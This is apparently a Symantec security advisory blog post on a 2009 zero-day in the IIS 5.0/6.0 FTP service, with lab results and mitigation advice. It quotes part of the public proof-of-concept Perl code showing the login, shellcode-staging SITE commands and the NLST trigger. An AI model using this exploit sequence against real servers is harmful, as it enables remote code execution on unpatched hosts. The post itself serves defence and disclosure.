Video Screencast Help
Protect Your POS Environment Against Retail Data Breaches. Learn More.
Security Response

IIS Exploited

Created: 01 Sep 2009 15:55:02 GMT • Updated: 23 Jan 2014 18:32:55 GMT
Symantec Security Response's picture
+1 1 Vote
Login to vote

A new zero-day exploit that affects Microsoft Internet Information Services (IIS) was posted on Milw0rm yesterday. According to the posting the exploit works on both IIS 5.0 and 6.0, on the FTP module.

We performed some analysis and testing in our lab with the proof-of-concept code that was provided, and we successfully executed arbitrary code remotely on IIS 5.0. Yet, our results with IIS 6.0 were less than conclusive. What this essentially means is that malicious code can be run on the exploited server; however, there are certain conditions that need to be met for remote execution to happen. First of all, only IIS 5.0 and 6.0 are affected, which consequently means that only Windows 2000 and Windows Server 2003 are affected. Second, write access to the FTP server is needed. This can be either through an anonymous account or a valid user account. The proof of concept targets an anonymous account with write permissions; however, we have validated that any account with write access is usable. The exploit works by creating a folder directory that has a specially crafted name, which will cause IIS to be exploited when the name of the directory is listed for viewing (“NLST”).

Example:

imagebrowser image

This is the result from the following code in the proof-of-concept:

print $sock "USER anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "PASS anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "MKD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n"; # We store shellcode in memory of process (stack)
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "CWD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "MKD CCC". "$c\r\n";
$x = <$sock>;
print $x;
print $sock "PORT $locip," . int($port / 256) . "," . int($port % 256) . "\r\n";
$x = <$sock>;
print $x;
# TRIGGER
print $sock "NLST $c*/../C*/\r\n";

The attempt to list the name of the directory will trigger the exploit, resulting in the execution of the shell code. We are not currently aware of any attacks trying to use this vulnerability, but if you are using IIS 5.0 or 6.0 with anonymous write access enabled, we suggest you turn it off immediately because this is the most dangerous scenario. Other protection can include using a firewall and restricting access for creating directories, if possible. Symantec will be releasing an Intrusion Prevention Signature (IPS) to protect customers against this form of attack.